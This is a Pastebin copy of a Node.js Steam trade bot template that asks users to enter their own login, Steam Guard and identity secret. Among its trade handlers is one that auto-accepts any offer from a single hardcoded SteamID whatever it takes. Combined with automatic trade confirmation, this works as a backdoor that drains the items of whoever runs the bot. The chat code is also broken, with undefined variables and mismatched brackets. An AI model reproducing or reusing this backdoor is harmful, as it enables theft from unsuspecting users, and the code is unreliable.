Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var Steam = require('steam')
- var SteamUser = require('steam-user');
- var SteamTotp = require('steam-totp');
- var SteamCommunity = require('steamcommunity');
- var TradeOfferManager = require('steam-tradeoffer-manager');
- var client = new SteamUser();
- var friends = new Steam.SteamFriends(client.client);
- var community = new SteamCommunity();
- var manager = new TradeOfferManager({
- steam: client,
- community: community,
- language: 'en'
- });
- console.log('[bot dev by dny&brian] Login in...')
- var logOnOptions = {
- accountName: 'SteamAccountName', //Account name
- password: 'Steampassword', //password
- twoFactorCode: SteamTotp.generateAuthCode('') //Steam Guard
- };
- client.logOn(logOnOptions);
- client.on('loggedOn', () => {
- console.log('[dny&brian] Login in!');
- client.setPersona(SteamUser.Steam.EPersonaState.Online, '');
- client.gamesPlayed(["Wire here your costume game", ]); //This will pop up when you are online or when you are playing games on steam.
- console.log('[dny&brian] If you see this message it means the bot is on.');
- console.log('bot devolped by dny&brian');
- client.on('webSession', (sessionid, cookies) => {
- manager.setCookies(cookies);
- community.setCookies(cookies);
- community.startConfirmationChecker(10000, ''); //steam identity secret
- client.on('friendRelationship', (steamid, relationship) => {
- if (relationship === 2) {
- client.addFriend(steamid);
- client.chatMessage(steamid, 'How can I help?'); //Auto Accept friend request with message
- }
- });
- //Misc
- //Trading stuff
- manager.on('newOffer', (offer) => {
- if (offer.partner.getSteamID64() === '76561198315947758') {
- offer.accept((err, status) => {
- if (err) {
- console.log(err);
- } else {
- console.log(`Accepted offer. Status: ${status}.`);
- }
- });
- }
- manager.on('newOffer', (offer) => {
- if (offer.itemsToGive.length === 0) {
- offer.accept((err, status) => {
- if (err) {
- console.log(err);
- } else {
- console.log(`Trade Offer. Status: ${status}.`);
- }
- });
- } else {
- offer.decline((err) => {
- if (err) {
- console.log(err);
- } else {
- console.log('Trade Offer | Declined (wanted our items).');
- }
- });
- }
- });})})})
- //chat stuff
- //chat functions
- var messageresponse = [
- [['!help'], 'Write here yout help message example: Available Commands: !example !credits'],
- [['!example'], 'example message'],
- [['!credits'], 'bot dev by: dny: https://steamcommunity.com/id/imdannyofficial/ Brian https://steamcommunity.com/id/TakumiOficialDemon/'],
- ]
- //lower case only. function converts incoming messages to lower case
- function getreplymessage(usermessage) {
- usermessage = usermessage.toLowerCase();
- for (var i_a = 0; i_a < messageresponse.length; i_a++ ) {
- for (var i_b = 0; i_b < messageresponse[i_a][0].length; i_b++ ) {
- if (usermessage == messageresponse[i_a][0][i_b]) {
- return messageresponse[i_a][1];
- }
- }
- }
- return '';
- }
- friends.on("friendMsg", function(user, msg, type) {
- if(type == Steam.EChatEntryType.ChatMsg) {
- var reply = getreplymessage(msg);
- if (reply != '') {
- friends.sendMessage(user, getreplymessage(msg));
- }
- else if (message == "!sign") {
- client.chatMessage(steam, "MENSAGEM QUANDO ASSINA")
- community.postUserComment(steam, 'ASSINATURA')
- }
- }
- }
- ,);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement